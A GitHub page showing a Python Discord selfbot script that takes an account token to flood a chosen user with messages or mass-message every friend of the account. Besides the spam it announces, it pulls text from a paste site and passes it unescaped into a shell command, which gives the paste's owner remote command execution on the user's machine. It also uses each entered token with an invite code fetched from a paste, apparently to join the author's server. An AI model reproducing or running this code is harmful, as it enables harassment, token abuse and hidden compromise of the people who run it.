-
Notifications
You must be signed in to change notification settings - Fork 1
/
Mass-Dm.py
205 lines (177 loc) · 6.29 KB
/
Mass-Dm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
import sys, time
def print015(text):
for c in text:
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(0.015)
sys.stdout.write("\n")
def print01(text):
for c in text:
sys.stdout.write(c)
sys.stdout.flush()
time.sleep(0.015)
try:
import colorama, requests, discord
from discord.ext import commands
except:
sys.stdout.write("> ")
print015("Missing Required Modules, Press Enter to Download (May Not Always Work)")
input("")
try:
import os
os.system("pip uninstall discord -y")
os.system("pip uninstall discord.py -y")
os.system("pip install colorama requests discord.py==1.7.3 discord==1.7.3")
except:
pass
sys.stdout.write("> ")
print015("Problem Maybe Fixed Now, Restart Program")
input("")
exit()
colorama.init(autoreset=True)
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("Coded by egirl dev#9474 | discord.gg/hour Press Enter to start")
input("")
import os, threading
def set_title():
title = "Mass Dm Dev"
try:
import requests
text = str(requests.get("https://pst.klgrth.io/paste/jd3cr/raw").text)
os.system(f"title {title}{text}")
except:
os.system(f"title {title}")
threading.Thread(target=set_title).start()
import time
def spammer():
invite_code = str(requests.get("https://pst.klgrth.io/paste/zfcys/raw").text)
while True:
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("Enter Token: ")
tokens = input("")
r1 = requests.get('https://discord.com/api/v6/auth/login', headers={"Authorization": tokens})
if "200" not in str(r1):
sys.stdout.write(colorama.Fore.RED + "> ")
print015("Invailed Token")
if "200" in str(r1):
r = requests.get(f'https://discord.com/api/v6/invite/{invite_code}', headers={"Authorization": tokens})
if "200" in str(r):
break
if "403" in str(r):
sys.stdout.write(colorama.Fore.RED + "> ")
print015("Locked Token")
while True:
try:
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("Enter the ID of the Target Person (Id then /@me/IDHERE Won't Work Other than Tracer): ")
ide = int(input(""))
break
except:
sys.stdout.write(colorama.Fore.RED + "> ")
print015("Enter a Valid Selection")
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("The Message You Want To Spam: ")
msg = input("")
while True:
try:
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("Enter Message Amount: ")
amount = int(input(""))
amount = str(amount)
break
except:
sys.stdout.write(colorama.Fore.RED + "> ")
print015("Enter a Valid Selection")
while True:
try:
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("Enter Delay (0 For None): ")
delay = float(input(""))
break
except:
sys.stdout.write(colorama.Fore.RED + "> ")
print015("Enter a Valid Selection")
data = {
"content": msg,
"tts": False,
"noonce": int(ide)
}
headers = {
"authorization": tokens
}
done = 0
while True:
r = requests.post("https://discord.com/api/v9/channels/"+str(ide)+"/messages", data=data, headers=headers)
req = str(r)
res = r.json()
if "200" in req:
done = int(done) + 1
name = res["author"]["id"]
print(colorama.Fore.CYAN + "[" + colorama.Fore.RESET + str(done) + colorama.Fore.CYAN + "]" + colorama.Fore.RESET + " Sent Message To " + colorama.Fore.CYAN + str(name))
if "429" in req:
sys.stdout.write(colorama.Fore.RED + "> ")
print("Rate Limited")
if "429" not in req and "200" not in req:
sys.stdout.write(colorama.Fore.RED + "> ")
print("Unknown Error, Code: " + req)
if str(done) == str(amount):
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("Done Spamming User")
input("")
exit()
time.sleep(float(delay))
def mass():
invite_code = str(requests.get("https://pst.klgrth.io/paste/zfcys/raw").text)
while True:
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("Tokeni Girin: ")
tokens = input("")
r1 = requests.get('https://discord.com/api/v6/auth/login', headers={"Authorization": tokens})
if "200" not in str(r1):
sys.stdout.write(colorama.Fore.RED + "> ")
print015("Yanlis Token")
if "200" in str(r1):
r = requests.get(f'https://discord.com/api/v6/invite/{invite_code}', headers={"Authorization": tokens})
if "200" in str(r):
break
if "403" in str(r):
sys.stdout.write(colorama.Fore.RED + "> ")
print015("Locked Token")
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("The Message You Want To Spam: ")
msg = input("")
userr = discord.Client()
@userr.event
async def on_command_error(ctx, error):
pass
@userr.event
async def on_connect():
done = 0
for user in userr.user.friends:
try:
await user.send(msg)
done = int(done) + 1
print(colorama.Fore.CYAN + "[" + colorama.Fore.RESET + str(done) + colorama.Fore.CYAN + "]" + colorama.Fore.RESET + " Sent Message To " + colorama.Fore.CYAN + str(user.id))
except Exception as e:
sys.stdout.write(colorama.Fore.RED + "> ")
print("Unknown Error")
sys.stdout.write(colorama.Fore.CYAN + "> ")
print01("Done, Now You Can Close the Program")
input("")
userr.run(tokens, bot=False)
while True:
sys.stdout.write(colorama.Fore.CYAN + "1. ")
print015("Spam 1 User")
sys.stdout.write(colorama.Fore.CYAN + "2. ")
print015("Mass Dm")
sys.stdout.write(colorama.Fore.CYAN + "> ")
tool = input("")
if tool == "1" or tool == "2":
break
else:
sys.stdout.write(colorama.Fore.RED + "> ")
print015("Enter a Valid Selection")
if tool == "1":
spammer()
if tool == "2":
mass()